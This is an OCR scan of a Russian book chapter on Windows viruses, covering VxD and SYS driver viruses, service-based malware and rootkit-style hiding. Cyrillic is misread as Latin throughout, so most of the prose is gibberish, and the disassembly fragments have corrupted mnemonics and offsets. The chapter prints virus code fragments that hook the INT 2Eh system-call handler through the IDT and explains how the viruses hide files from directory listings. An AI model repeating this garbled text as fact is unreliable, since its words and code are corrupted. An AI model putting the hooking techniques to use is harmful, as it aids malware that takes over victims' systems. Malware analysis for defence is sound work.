DDB_SDK_Vers dw ? ; +04 BepCMfl DDK
DDB_0evNu® dw ? ; +06 M aeHTM tyiKaTop fip a n s e p a

DDB_DevMajorV db ? ; +08 Crapuias MacTb HOMepa B e p c n n

DDB.DevMinorV db ’ ; +09 M Jia flu ias  nacrb  Howepa Bepcnn
DDB_Flaas dw ? ; +0A biuoewe (p/iarn
DDB_Name[8] db 8 d u p ( ? ) ;  +0C Mmo f lp a « B 8 p a

Q DB_In itG rde r dd ? ; +14 nopqROK. sarpysKn ftpaiisepa e nai«Tb
DDB_CProc dd ? ; +1S Aapec n p o u e A y p w  o6pa6oTKn c M C T e M w x  c o o6 ue H w n

DDB_V86Proc dd ? : +1C Aapec A iic n e m e p C K O n  e y H K u n n  n p n  p a 6 o T e  B V86
DDB_PMProc dd ? ; + 2 0  Aapec A n c n e m e p C K O H  (tyH K qnn  npn p a 6 o T e  b PM
DDB_V86CSIF dd ? : + 2 4  Sanojwqercfl Windows
DDB_PMCSIP dd ? ; + 2 8  3 a n o / iH a e T c n  Windows
DDB_RefData dd ? ; +2C 3 a n o jiH 9 e T C A  Windows

0DB_ServTab lePtr dd ? ; + 3 0  V K a s a T e ^ b  H a  Ta6.nnuy aApecoa cepBucHbix n p o u e a y p

DDB_ServTableS ize dd ? ; + 3 4  Ko.nnMecTBP c e p e n c H b ix  npoueayp
DDB_W32ServTable dd ? , + 3 8  3 a n o ; iH f le T C f l Windows
QQB_Prev dd ? , +3C CcbiMa H a  n p e f lW A y n H ii f lp a i iB e p ,  sanojiHseTCR Windows
DDB.S ize dd ? , + 4 0  paswep c T p y K T y p b i o n n c a T e f ln

D0B_R1 dd ? ; +44 3 a n o f lH f le T C f l Windows
0DB_R2 dd ? ; +48 3anojiHS!eTcci Windows
0DB_R3 dd ? ; +4C 3 a n o J iH H e T C R  Windows

C M O T p H T e , cKO JibKO  c c b iJio K  H a pa3 H b ie  n p o n e a y p b i,  n p H c y r c T B y io m H e  

B H y r p H  a p a H B e p a ! B o t  3a h h x - t o  h  « u e n jr a io T C f l»  B H p y c w . H a n p H M e p , 

B iip y c  Navrhar B H ,aoH 3M e H H eT a a p e c  o 6a 3a Te jib H o  n p n c y T C T B y io m e ii  

b j iio o o m  a p a iiB e p e  n p o u e a y p u  o 6p a 6o T K H  c n c T e M H b ix  coo6 iqeH H H . Tan  

ace n o c T y n a io T  i i  B u p y c u  ce M e iic TB a  Win9X.Horn, n p a B ^ a , o h h  s t o  a e jia -
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i o t  « X H T p e i i» .  Jlejio  b to m , h t o  a#peca, VKa3aHHue b  DDB h  c;iy>fce6H H X  

ra&JiHuax, H e HBJtaioTCH a6cojiioTHHMH. O h h  b  nponecce 3 a rp y 3 K H  apafi- 
B epa b  naMHTt Moryr 6biTb cKoppeKTHpoBaHW 3H a n e H H H M H  H 3  Ta6jinijbi 
nepeMeiuaeMbix c c w jio k .  BHpycw Win9X.Hom yHHTbiBaioT s t o :  o h h  m o - 

r v T  H c n p a B H T b  aapec npoueAypw b  D D B ,  MoryT HCKasMTb TojibKo nepe- 
M e m a e M y io  ccwJiKy, a Moryr c/tejiaTb n t o ,  h  apyroe. PesyjibTaTOM 6yneT 
nepenanpaBJieHne t o h k h  Bxo^a b npoue/typy o6pa6oncH c h c t c m h u x  co- 
06lH e H H H  H a BHpyCHWH KOfl.

Pe3ioMHpya: BHpycoB, 3apa;*caioiHHX VXD-flpaHBepw, HeMHoro. IlpaK- 
THHeCKH BCe OHH HBJMIOTCfl «KOHHenTyajIbHbIMII» H ^KOJI/ieKIIHOHHWMH». 
Topa3flo 6ojibine BHpycoB, KOTOpwe He 3aHHMaioTca p a 3 6 o p o M  cjiojkhoto 
h 3anyraHHoro LE-(|>opMaTa, a caMH hbjihiotch VXD-M Oflyjw M ii, «co - 
opaHHMMH^ npH noMomH Microsoft D D K  (HanpHMep, Win9X.Punch). 
Pa3yMeeTCH, «jienHTb» hx HeB03M0»CH0, a Haflo npocTo yaajurrb.

Bee V X D -B H p ycw , a n a  Toro hto6w nepeMemaxbca c MauiiiHW Ha M a - 

uiHHy, yMeioT TaKace 3apa»caTb oowHHwe EXE-nporpaM Mbi PE-cfwpMaxa, 
aoKyMeHTW M S  W ord (BHpyc Navrhar), COM -nporpaM M bi (BHpycw ce- 
MeiicTBa Opera) h nponee. Pa6oTaH b HyjieBOM KOJibqe 3amHTW, noHCK 
acepTB h flOCTyn k  chctcmhwm cepBHcaM ohh o c y m e c T B J iH io T  no «mcto- 
^HKe» Win9X.CIH.

4.3.82. SYS-eupycbt u WDM-eupycu
J in n  n o a a e p jK K H  3 T o r o  rana apafiBepoB n p o rp a M M H C T W  <J)HpMW 

M icrosoft peuiHjiH He H3o6peTaTb Bejiocnnefl, a B0cn0Jib30BaTbca Bee TeM 
ace C T a p w M  a o 6p b iM  PE-4>opMaTOM. SYS-apaiiBep m o k c t  c o ^ e p a c a Tb  h  

H M n o p T , H  S K C n o p T , H  T O 'IK V  B X O ^a  B KOfl H H H L U ia jIH 3 a U H H . 3 t o T  KOfl n O - 

j iy n a e T  y n p a B Jie H H e  b  n p o n e c c e  3arpy3KH ApaiiBepa b  n a M H T b , ero o c h o b - 

H o e  H a3H a H e H H e  -  n p n  n o M o m n  c iic T e M H H x  B W 30B 0B  «IoC rea teD ev ice » 
h  «IoC reateSym bolicL ink» pacnucaTb p o j ih  o c T a jib H b ix  npone/iyp /ipaii- 
B epa: k t o  H 3 h h x  6y f le T  o 6cjiy;sKHBaTb a n n a p a r a w e  n p e p b iB a H H H , k t o  B 3 a - 

H M O fleH C TB O B a Tb c apyraMH apaiiBepaMii, k t o  o T B e n a T b  H a 3 a n p o c u  o t  

nporpaMM 3 - r o  m n b i j a  samiiTw, a 3aTeM  c o o 6m a T b  O n e p a n H O H H O H  a ic re - 
Me o C T a p T y io m e M  a p a iiB e p e .

TaKHM 06pa30M, 3apa»ceHHe SYS-apaftBepoB TpHBHajibHo (aTO aejiaeT, 
HanpHMep, BHpyc Win32.Kick). Hhoc aeJio -  «acH3Hb» BHpyca no npa- 
BHJiaM flpaiiBepoB W indows N T. Hazto npii3HaTb, hto 3Ta npo6jieMa He 
B c e ra a  0Ka3WBa.iacb BHpyconncaTejiHM no 3 y 6 a M . Z la B a iiT e  paccMOTpiiM 
aBa npeTeHaeHTa Ha pojib 4>aiiJioBoro BHpyca-apaHBepa.

Biipyc Win32.RemEx (oh >kc RemExp h «Remote Explorers), ko- 
T o p w i i  b CBoe BpeMH 6wji o6MBJieH «nepBWM nacToamHM BHpycoM a n a
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Windows NT», cymecTByeT b bhac (Jjaftjia «IE403R.SYS», pacnojioacen- 
Horo b Kaxajiore «C:\WinNT\SYSTEM32\Drivers» h 3aperHCTpHpoBaH- 
Horo b bctbh PeecTpa «HKLM\System\CurrentControlSet\Services\ 
Remote Explorers. Pa3Mep BHpyca -  okojio 125 K6, nocKOJibKy oh Hann- 
caH Ha Ch . CneiiHajiHCTbi aHTHBHpycHofi KOMnaHHH Network Associates 
nOflCHHTaJIH, MTO 3T0 COOTBeTCTByeT npHMepHO 50 000 CTpOK IlCXO/tHOro 

Koaa h 200 HeflOBeKo-aHeft paooTbi. BnponeM, hx KOJiJieni H3 JIa6opaTo- 
pHH KacnepcKoro Brrojme cnpaBeflJiHBo aaMCTHJiH, mto Ha caMOM a en e  BH
pyc Ha 90% coctoht h3 cTaHflapraux 6h6jihotck Visual C/C++ h o6me- 
fl0CTynH0H 6h6.’ihot6kh GZIP  Co6cTBeHHoii nporpaMMHCTCKoft pa6oTbi 
B HeM Jimub a e a m a  nacTb. BoncTHHy, «He TaK cTpameH nepT, KaK ero
Ma.7K)IOT».

KaK 6w to  hh obuio, ho. zui3acceM6jiHpoBaB nporpaMMy, mo>kho cKOJib 

yroflHO aojiro HCKaTb b ee MH0r0Mera6aHTH0M JiHCTiinre bm3obu c|)yHK- 
UHH «IoC.reate Device* h «IoCreateSymbolicLink». Hx TaM npocTo hct! 
PeuieHHe 3araflKH o6iiapy>KHBaeTCH b cjieayiomeM (JsparMeHTe:

00404485 mov eax, dword_41DD14 ; Aflpec vweHM cepenca

00404492 ro v  [ebp + S e rv iceS ta rtT ab le . IpServ iceN aa ie], eax
00404495 le a  eax, [ebp + S e rv iceS ta rtT ab le ] ; Aflpec Taejitmu cepBucoB
00404498 mov [e b p + S e rv ic e S ta 'tT a b le .L p S e rv ic e P ro c ] , o f f s e t  i.ac_4044AE 
0040449F push eax
004044A0 c a l l  d s :S ta r tS e r v ic e C t r lD is p a tc h e rA  ; C03flaHMS r/iaBHoro n0T0Ka

OKasbiBaeTCH, Win32.RemEx -  sto  He apaiiBep, a Bcero JiHiiib TaK Ha- 
3biBae.Mbni cepeuc (h jih  cjiyotc6a) Windows NT. CepBHcu npeacTaBJunoT 
c o 6 o h  nporpaMMbi 3 -ro  KOJibqa 3amHTbi, pa6oraioiuHe b <poHobom pe- 
*HMe. EflHHCTBeHHoe npeHMymecTBo BHpycoB-cepBucoB 3aioTOHaeTcH 
b tom, hto ohh CTapTyioT paHbiue HeKOTopHx KOMnoHchtob oriepauH- 
OHHOH CHCTeMbi H, B03M03KH0, aHTHBHpyCOB-MOHHTOpOB. A  B OCTaJIb- 
hom sto  o6bWHHe nporpaMMw. BHpyc Win32.RemEx aaace hcjih n m  
3apa>KeHH5i HiueT «no-AepeBeHCKH»: b 6ecKOHeMHOM mtKJie npH noMomii 
«FindFirstFileW»- h «FindNextFileW». KaKoe pa3onapoBaHHe!

Bnpyc Win32.Infis.4608 -  eme o^hh umpoKo pa3pemiaMHpoBaHHbiH 
npeTeH/ieHT Ha pojib 4>aHJioBoro Biipyca-apaHBepa nna Windows NT. O h  

noMemaeT cboh cf)aHJi b KaTajior «C:\WinNT\SYSTEM32» h penicTpH- 
pyeTCH b BeTBH PeecTpa «HKLM\System\CurrentControlSet\Services\ 
Inf». Ho h 3tot Biipyc He HBJiaeTca noJiHoneHHbi.M apaHBepoM. Bot jihc- 
thht KJHQMeBoro (JiparMeHTa:

le a  eax, dword_11121
s id t  qword p t r  [eax]

Aflpec 6y®epa
Bbirpy3MTb B 6y®ep p e rn c ip  IDTR
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mov eax, [eax+2]
le a edx, [eax+170n] DepefiTM Ha aecKpnnTop npepbiBaHMS 2Eh
mov eax, [edx+4]
mov ax, [edx]
lea ecx, loc_113A7+1 Ccbi/iKa na aapecHyic MacTb KOMaHflW JMP
fnov [ecx ], eax Aapec cTaporo o6pa6oTHHKa INT 2Eh
le a ecx, [edx+5A0f:] flepeiiTH na aecKpnnrop npepHBaHMfl 0E2h
mov [e cx ] , ax
sh r eax, 10ft
mov [ecx+6], ax
lea eax, lo c _ 1 115A Aapec h o b o to  o6pa6omMKa npepbteaHMfl 2E
m v [edx ], ax
s b r eax, 1 0n

mov [edx+ 6], ax

M t s k ,  B H p y c , p a 6o T a a  b  3 a m n w e H H 0 M  peacuM e, n o f lM e m te T  b  T a & jra - 

q e  IDTR z ie c K p H rrro p , c o o T B e T c r B jT o m n H  n p e p b re a H H io  2 E h .  C T a p t iH  

a e c K p H rrro p  nepenocHTca b  rio 3s m n io , c o o T B C T e T B y io m y io  n p e p b iB a H H io  

0 E 2 h .  J i n n  o 6p a m e H M  k  K O M n o H e H Ta M  o n e p a iy io H H O H  c h c t c m u ,  p a o o - 

T a io m iiM  b  0 -m  K O Jib u e  s a m H T b i, B H p y c  6y /te T n 0 jib 3 0 B a n > c «  H e INT 2 E h ,  

a  IN T 0 E 2 h .  JIk>6oh »ce  « H o p M a jib H b m »  C H C TeM H b iH  Bbi30B , B b in o Jra e H H H H  

K a K O H -H H 6y a b  n p iu c J ia flH o ii n p o rp a M M o fl, o y a e T  o 6p a 6o T a H  n p o u e / ty p o ii, 

n p u H a fl^ e a c a iu e H  BHpycy. B o t  s t o t  h o b h h  o 6p a 6o T> oiK , pearapyiomHH 
T o jib K o  H a n o n w T K y  o n c p b r ra H  $ a iiJ io B :

; HoBtfvi 06p a &0TMMK npepw eaHsw INT 02EN
l o c _ H 1 5 A :

c » p  e a x ,  6 4 h  , 3 t o  Koa N t O p e n F i le  ?

j n z  l o c _ 1 l3 A 7  ; H o t -  Ha craH fiap tH b iii o6pa6oTMMK
p u sh a

p u sh  f s  ;

; 3 f le c b  nponym eHHW ii O pa rM eH T 3apaxeH M fl nporpaM M

pop f s  ;
popa ;

lo c_ 1 ’ 3A7:
db OEAh , KC fl KOMaHflbi JMP
dw ? ; A f lp e c H a a . . .

dw ? i ■ ■ ■ '-JaoTb

T a K H M  0 6 p a 3 0 M , B H p y c  Win32.Infis.4608 a a * e  H e n b rr a e T c a  B C T p o - 

H T b c a  B <J>aHjioByio c u c T e M V  H  B e c TH  ce6a  K aK  «H a cT0 5 iim iii> >  a p a H B e p - 

(jjH .nbTp. B o 3m o * h o c t h  3a m n m e H H o ro  peaciiM a o h  H c n o J ib 3y e T  e ^B a -e flB a  

H a 1 % .
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K c T a T i i ,  y  B^yMMHBoro H M Ta Te iifl m o jk c t  B03HHKHyn> B o n p o c : noneMy 
oriepaijHOHHaa CHCTeMa aanycKaeT B H p y c -c jiy a c 6y  (Win32.RemEx) b  

3-m K o .ib u e  3 a in H T M , a B iip y c -a p a H B e p  (Win32.Infis.4608) -  b  0-m? Ko- 
HeHHO ace, flejio He b  HMeHH 4>aHJia h aaace He b  cTpyicrype nporpaMMHoro 
Koaa. PaajiHHHe KpoeTca b  napaMexpax 3anycK a, o n p ea e J ien H u x  b  PeecT- 
pe. PaccMOTpiiM h x  Ha npHMepe B H p y c a  Win23.RemEx:
; BsTBb H KLM \SYSTEM \Cu rren tCon trilS e t\Se rv ices\fte ino te  E x p lo re r  
E rro rCoritro l.=  1
IrriagePath=9!!SysteraRoot%\system32\drive rs \ ie 4 0 3 r .  sys 
Obj ectName=LocaISyste*
Start= 2
Type=0x30

IlapaMeTp « E r r o r C o n t r o l »  o m ie b iB a e T  c n o c o 6 o6pa6oncH o u i h 6o k  3a - 

rpy3Kii:
O  0  -  H rH o p H p o B a T b ;

O  1 -  Bbm aTb coo6 m eH H e  h  npo^oJiacH Tb 3arpy3K y;

O  2 h  3  -  pa3.iHHHbie Bapnanxw Hcn0Jib30BaHHH nocjie/ineii yuayHoii 
KOH(j)HrypaitHH CHCTeMbi.

I la p a M e T p  « S t a r t »  o n p e /ie .ra e x  c n o c o 6 3a n y c K a  n p o rp a M M b i:

O  0  -  3anycKaTb aapoM KaK n a c x b  CTeKa zipaHBepoB;
O  1 -  3a n y c K a T b  b  n p o u e c c e  m h m h h a .TO 3a ix n n  a a p a ;

O  2  -  o n p e a e jif lT b  cnoco6 3anycKa aBxoMaxunecKH no T u n y ;

0  3 -  3arpy3HTb b na.xiaTb, h o  H e  3anycKaTb.
B h t o b w h  n a p a M e T p  « T y p e »  o n p e a e Jia e T  r a n  3an ycK a e M o ft n p o rp a M M b i:

O  1 -  a p aH B ep  ycT poiicT B a, pa6oTaio iuH ft b  0 -m  KO Jibne 3am H xw ;

0  2 -  apaHBep (|)aH/i0B0H c h c t c m h ,  pa6oxaioiuHH b O -m  KOJibne 3a- 
m ir r u ;

O  4 -  Ha6op apryM eH TO B a m  ana rrrep a ;

O  lO h  -  cepB H G  3 - r o  K o .'ib qa 3 a m H T M ;

O  2 0 h  -  ce p B H C , p a 3 a e jw io m H H  c b o h  n p o u e c c  c  s p y r a M H  c e p B iic a M ii.

O c T a jib H b ie  n a p a M e T p w  a o n o jiH H x e Jib H b ix  n o a c H e H H H  H e  x p e 6y io x .

K  2 0 0 6 - 2 0 0 7  rr., HaKOHen, noaBHUHCb BHpycw-/ipaHBepu, BCTpaHBaio- 

mnecH b (| )a fijioByio  cncTeMy W in d o w s  N T .  CaM brii H3BecTHWH H3  hhx -  

3to Win32.Rustock.C. Oh MH0r 0 KpaTH0  3aura(f)poBaH cjiô chwmh a jiro -  

pHTMaMH H COJiepaCHT OrpOMHOe KOJIHHeCTBO «IpIOKOB», 3aTpy/ItLSnomHX 

ero HccjieaoBaHHe1. Bnpycojiorn H3 pa3H w x KOMnaram aaace ycTpaHBa/m 
HeocJjimnajibHoe copeBHOBaHHe -  kto nepBWM pa36epeTca b tohkocthx 
pa6oTbi BHpyca. r i o 6 eflHJia KOMaH/ta aHTHBHpyca D r W e b .

1 rioapo6Hoe oimcaHHe TexHo.iiorroi a ro ro  He coBceM a a * e  BHpyca, a, CKopefi, 
«Tpo.smua», 3ansuio 6hi b Harnett KHiire cjihiiikom MHoro MecTa.
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A  W D M -B H pycoB  ( H a  m o m c h t  H a n it c a H H H  o t h x  c t p o k )  npocTo He cy- 

m e c T B y e T . M cjiaBa Bory!

4.3.9. «HeBMAMMOCTb» Windows-BMpycoB
Windows -  ropa3flo 6ojiee o6teMHaH h  cjio>KHaH oneparmoHHaH CHCTeMa, 
HeM MS-DOS, h  B03M02KH0CTeif nna c o k p b i t h h  CBoero npncyrcTBHH b c h -  

CTeMe y  Biipyca oneHb MHoro.
B o jie e  T o r o ,  « o 6M a H  n o K y n a T e jie ft*  -  c n o c o 6 c y m e c T B O B a ra iH  caM oft 

Windows. B  M H p e  s t o h  o n e p a m io H K H  Bee ac^eM epH O h  3w 6k o , h h k o m j7 h  

H H H e M y  H ejib3 H  B e p H T b . Ilp H K Jia flH b ie  n p o rp a M M b i 3arp ya ca io TC H  b  « K a -  

acymyiocH» naMirrb h  B 3anM O /ieH C TB yiO T c «K a a c y iU H M H C H » ycTpoiicTBa- 
m h . npn n o M o m n  n a iceTO B  r a n a  VMWare ii Virtual PC, p a 6o T a io m H X  n o a  

Windows, m o jk h o  n o c T p o i iT b  «K a> K yiH H H C H > K O M n b K )T e p , o Tc Jx ip M a TH p o - 

B axb « K a » c y m H H C H »  B H H H e c re p  h  H H C Ta ji.TO p o B a T b  H a H e ro  B n o jm e  p a - 

6o T o c n o c o 6irb iH , h o  aaace He aorasbiBaiomHHca o CBoevi B H p T y a jib H O c r a  

3 K 3 e M n ;iH p  O n e p a n H O H H O H  CHCTeM bi. 3 a 6 a B H o  6u j i o  6m  0 3 H a K 0 M im > cfl 

c 4 > h jio co 4 > ck h m h  p a c c y a c fle H iM M H  p a 3 yM H O H  n p o rp a M M b i, « a c H B y m e H »  

B Ta K O M  B H p Ty a JIb H O M  K O M n b lO Te p e , O TO M , H TO  n e p B H H H O  -  M a Te p H H  HJIH 
C03H aH H e.

H o  flOBOJibHO jinpHKH. nepeftziCM k  aejiy h noroBopHM, juix H a n a -  

J ia ,  o  TepMHHOJIOTHH. K a K  3T0 H H  CTpaHHO, H O  OHa H3MeHHJiaCb. X o t h  

Hero ace Ty T  cTpaHHoro? M m  ace npHBbiKJiH, h t o  6 yKBajibHo Ha H a -  

uih x  rjia3ax «K0HT0pa» npeBpaTiuiacb b  « 0 ( | ) h c » , «MyjibTiiruiHKamiH» 
B «aHHMailHIO», «JIOCKJTTHOe UIHTbe» B «I13THB0pK», a <inbflHKa C KOJI- 
jieraMH no pa6oTe» b  « K o p n o p a T H B » .  IIpHMepHO t o  ace caMoe n p 0 H 3 0 -  

i h j i o  h  co ostealth-TexH0Ji0rHaMH», 3HaKOMbiMH HaM no DOS-BiipycaM  
(Frodo.4096 h ripo^HM). H a  py6eace bckob Ha CMeHy BupyconHcaTeJWM 
90-x TOflOB npnuiJio H0B0e noKOJieHHe, o6jiaaaiomee 6oJiee iirapoKHM 
K p y r 0 3 0 p 0 M  H  3HaKOMOe C 3PJTHMH n p o r p a M M H H M H  IJJlaT^OpMaMH 
(npeacae Bcero c UNIX-no/jo6HbiMH onepanHOHHMMH CHCTeMaMH), h o  

He 3HaK0M0e c p a 3 p a 6 o n c a M H  c b o h x  npe/nnecTBeHHHKOB. / [ j i h  o 6 o 3 H a -  

leHHH TeXHOJIOTHH, npH3B3HHbIX CKpblBaTb Ha KOMnblOTepe aKTHBHOCTb 
BpeaoHocHbix nporpaMM, o h h  npHB.iieK.TO h o b h h  TepMHH -  urootkit- 
mexHOJioiuu». M3HaHajibH0 c j io b o m  «rootkit>  xaKepti, cneanajiH3Hpy- 
romHeca Ha U N IX -cn cTe M a x, Ha3biBaJiH yrajiHTbi, npe/iHa3HaHe*HHbie 
ana 3 a M e T a H H H  c j ie f lO B  n p o H 3 B e a e H H o r o  B3JioMa, -  h x  o o h m h o  ^epacajm 
b  K o p H e s o M  KaTajiore /uicxa, t o  e c T b  b  root-KaTa.'iore, a  jijih h x  Hcnojib- 
3 0 B a H H H  n b iT a j iH C b  noJiyHHTb npiiBHJiemii cynepn0jib30BaTejiH, t o  ecTb 
r o o t - n p H B H J ie r H H .  TepMHH x o t h  h  HecKOJibKO H3MeHiui C B o e  3H3'ie- 
h h c ,  h o  b  Miipe W i n d o w s  r ip n a c n j i c j i .  T a K  h t o  HMeiiTe b  B H Z iy :  « s t e a lt ; h »
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h  « r o o t k i t >  b  K O H T e K C T e  H a rn e f t  k h h t h  -  s t o  « 6 j iH 3 H e u b i- 6 p a T b H » ,  c h - 

H O H H M b l.
B n p o ' i e M ,  otjihhh h  Bce-TaicH ecTb. E c j i h  «stealt:h »-TexH 0Ji0i'HH HHTepe- 

c o B a j iH  n p e H M y m e c T B e H H O  x a n e p o B  h B H p y c o im c a T e j ie H ,  t o  c e f t n a c  pa3- 
p a 6 o T K H  h ob w x  « r o o t k i t » 'o B  H e  H y p a io T c a  a a a c e  B e c b M a  p e c n e ic r a 6 e j ib -  

H u e  I ip o r p a M M H C T C K H e  K O JIJ ie K T H B b I , K O T O p h ie  3 a H H M a iO T C H  (HJIH TO JIbKO  

y T B e p a c a a iO T ,  h to  3 a H H M a io T c a )  H C C J ie / iO B a H H H M H  b  c c j)e p e  K O M n b K r re p H O H  

6 e 3 o n a c H o c T H .  H a n p H M e p ,  lo n a a ,  cHMiiaTHHiia» h H e  M e H e e  V M H a a  n p o -  

r p a M M H C T K a  / [> K o a H H a  P y n c o B C K a  H 3 I n v i s i b l e  Things Labs pa3pa6oTaJia 

h 0 6 H a p 0 f l0 B a j ia  pa/i B b ic o K o a io a c H b ix  p jttk h tob  (Blue Pill h ap .). A  B e c -  

h oh  2006 r. c .n e u H a j iH C T b i H3 V H H B e p c H T e T a  u iT a T a  M H H H r a H  o n o B e c T H J iH  

M H p  O B 0 3 M 0 X H 0 C T H  C 0 3 f la H IW  BHpTyajIbHOH MaiUHHbl -  SubVilt, K O T O - 

p a a  pa6oTaeT a H a j io r H M n o  VMWare, h o 3axBaTbiBaeT c K p b iT b iH  K O H T p o j ib  

Haa o n e p a n H O H H O H  C H C T e M o ii H e  n o c j i e ,  a  a o  e e  ycraHOBKH. H e K O T O p b ie  

h x  H f le n  ( n p e a c a e  Bcero 3anycK r o o t k i t - n p o r p a M M b i  H 3  3arpy30MHoro ceK- 

T o p a )  p e a j iH 3 0 B a H b i b T a K H X  BpeaoHocHbix p a 3 p a 6 o T K a x ,  K a K  Backdoor. 
Win32.Sinowal.

M T a K .  H TO  a ce  aOJDKHbl C K p b lB a T b  W in d o w S - B H p y C M  OT 6 a H T e J Ib H b IX  

n 0 .T b 3 0 B a T e J ie H  H  C M e p T O H O C H b IX  a H T H B H p y C O B ?

4.33.1. Maacupoexa npucymcmeux e tpaiuie
n p e j K a e  B c e r o  B H p y c b i  a o J ia c H b i C K p b lB a T b  ( J jp a rM e H T b i 4> aH JiO B , c o -  

aepacauiHe b h pv c h m h  Koa. E cjih 5Ke B H p y c  H e  BHeapaeTca b  K a K y io - H H -  

6 y a b  a p y r y i o  n p o r p a M M y ,  a  n p e a c r a B J ia e T  co6oh oTaeJibHHH a B T O H  om hm h  

4 )a H J i,  to B e c b  TaKoit <J)aHJi ue.iHKOM h j i h ,  bo3Mojkho, a a * e  K aT aaor, c o -  

aepacamHH TaKoft (Jiaftji.
B pojiH <<HenpHHTeJieft* a  jih BHpycoB BbicnynaioT ripHKJia/iHbie n po - 

rpaMMbi, no3BOJisuom.ne npocMaTpHBaTb coaepacHMoe KaTaJioroB h  b h j t -  

peHHOCTH (JiaHJIOB, HanpHMep IIpOBOaHHK HOT KaK0H-Hn6y/Ib 4>aHJI0- 

BbiH MeHea»cep rana FAR Manager. IIporpaMMW, npocMaTpHBaiomHe 

coaepacHMoe KaTaJioroB, o 6 h h h o  Hcnojib3yioT CTaHaapTHbie (JjyHKUHH 

«FindFirstFile» h «FindNextFile» H3 «KERNEL32.DLL». BHyrpb cJiaH- 
jia ohh  «3araHflUBaioT»- TO>Ke 6ecxHTpocTHO, OTKpbmaa (JiaHJibi npn no- 

mouih «CreateFile» h HHTaa hx  coaepacHMoe npn noMomn «ReadFile». 
Mm yace 3HaeM, h to  BbiiioJineHHe jik>6oh (JjaftjiOBOH onepauHH b Windows 
CBOflHTCH K aJIHHHOH UeiTOHKC BH30B0B pa3JIHHHbIX KOMnOHeHTOB Onepa- 

HHOHHOH cncTeMbi, Jieacamnx H a  pa3Hbix « c a o a x »  ii «ypoBHHX». Bnpyc 
MoaceT BeTpoHTbea b 3 tv  uenoHKy b jiio6om MecTe h HCKa3HTb pe3yjibTaTbi 

4>afljioBoft onepauHH TaK, m o 6 b i  npnicaaaHaa nporpaMMa (h jih  npHMH- 

THBHbra aHTHBHpyc, pa6oTaioiitHH b  3-m KOJibue 3amHTbi) *He yBH/iejia*
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ero . PaccM OTpHM  HecKOJibKO th i ih h h w x  np iiM epoB  T oro , KaK W in d o w s -  

BHpycw a e jia jo T  3 to .

HacTHMHO «cKpbiBaTbcH» yMeji nance Win32.Cabanas -  HCTopiwe- 
ckh nepBbrii BHpyc, HayHHBUiHHCH acHTb h b W in d o w s  9 X , H B W in d o w s  

N T . HBjDwcb *nojiype3H/ieHTHHM», s to t  BHpyc 6bui oneHb «n poacop jiH - 

bum » -  n o c jie  cB oeft aKTHBauHH oh /jOBO.'ibHO 6 b ic rp o  3apa*a.n flecHT- 

kh h  cothh n porpaM M  Ha acecTKOM flHCKe. B n p y c  3aMeHHJi b rafijiHue 

HMnopTa 3apaaceHHoii nporpaMMbi a/ipeca mhoitix CHCTeMHbix bh3obob  

( « C r e a t e F i l e » ,  «C r e a t e P r o c e s s » ,  « C o p y F i l e » ,  « M o v e F i l e » ,  «F in d F ir s t -  

F i le » ,  « F in d N e x t F i l e »  h n p o n n e ) TaK, HTo6bi ohh }Tca3MBajiH Ha e ro  n p o - 

ue/iypbi. TaKHM 06pa30M, ecjin 3apa»ceHHOH oKa3biBajiacb nporpaMMa 

«  E X P L O R E R .E X E *  (a  OHa 3apa;«a/racb o6hhho oahoh H3 n ep B b ix ), to  
jnooaa onepanHH, BbinoJiHCHHaa n p n  noMoinH UpoBo/mHKa (c o 3 fla m ie  h  

oTKpHTHe 4>aHJioB, noHCK (JiaHJioB b KaTaJiorax, 3anycK nporpaMM h t .  n .),  

oKasbiBajiacb n o n  kohtpojicm BHpyca. M o^H^H ijnpya pe3yjibTaTbi p a 6 o ra : 

APl-cjjyHKUHH « F in d F ir s t F i le »  h «F in d N e x t F i le » ,  BHpyc Win32.Cabanas 
yMeHbiuaji AJiHHy 3apaaceHHbix (f>aii;ioB. R e  jia jio c b  s t o  npnMepHO TaK:

1 ) noJiyHHB ynpaBJieHHe b m c c t o  o h h  o h  H3 a r a x  (JjyHKHHH, B iip yc  n ep - 

BHM /ieJIOM BU3bIBajI HX OpHTHHaJIbi;

2 )  npHHHB o t  opH rH H ajibHbix ({jyHKUHH CTpyKTypynaM H TH , 3anojiH eH - 

H y io  CBefleHHHMH o  HaH/jeHHOM 4>aHJie, BH pyc H3BJieKaji H3 Hee hmh 

4 >aiuia;

3 )  e c jin  4>aHJi OKasHBajicH yace HH(|)HnnpoBaHHbiM (a  T3Ko b h m h  c h h - 

T a jm cb  PE-c})aHJibi c a j ih h o h , K p a raoH  6 5 h ), to  B iip yc  m oahcJw iixh- 

poB a ji b  cT p yK T yp e  naMHTH n o jie , cooTBeTCTByioiuee aJiHHe (J)aHJia;

4 )  ynpaB Jiero ie  B 0 3 B p a m a ji0 C b  B b i3 U B a io m e H  n p o rp a M M e .

3(}xJ>eKT «H eBH flH M O cTH » M or 6hrrb M H oroK p a ra o  ycn jieH , e c jn i 6 u  b h -

pycb i, n o a o 6 H w e Win32.Cabanas, 3apaacajiH  « K E R N E L 3 2 .D L L »  h  6 pa- 

j ih  Ha c e 6 n  o 6 p a 6 oTK y o c h o b h u x  4>aH.TOBbix o n ep a m u i: y a a jw ju i  BHpyc 
H3 (J>aHJia b MOMeHT e ro  o t k p u th h  h  BHOBb 3apa>KajiH e ro  (<J>aiiJi) n p n  

BunoJiHeHHH «C lo s e H a n d le » .  I l o  K pa iiH efi M epe, n o  0Tfle.nbH0 CTH Bee s th  

o n e p a m m  BH pyconH caTeJW M ii 6 buiH x o p o u io  H3yHeHbi, na  h  T eo p era H e- 

CKH B03M0JKH0CTb TaKOrO «CTeJICIipOBaHHH» HMH T O * e  3KTHBH0 o 6 cy>K- 

fla jiacb , ho... H o  BHpyca, KO ToptiH  n ocryn aJ i 6 bi TaKHM 06pa30M, TaK h  

He nOHBHJIOCb HH B «flHKOH n pH p O flO , HH B KOJIJieKIJHHX BHpyCOJIOrOB. 
B ot BaM onepeflHoe noflTBepameHHe Te3Hca, hto W in d o w s  -  HacTOJibKo 
orpoM H an h  Tpv/iHOo6o3pnMaH CHCTeMa, h to  a a jieK o  He Bee ee  j t o j i k h  o c- 

BoeHbi flaace «Be3;jecyuiHMH» xaKepaMH h  B iipyconncaTejiH M H .

3aT o  f l0 B0JibH0  aKTHBHo BH pyconHcaTejiHM H pa3pa6aTbiBaJiacb Hflen 

«HeBHflHMOCTH» BIipyCOB, BCTpaHBaBUIHXCH B (f)aHJIOByK> CHCTeMy W in 
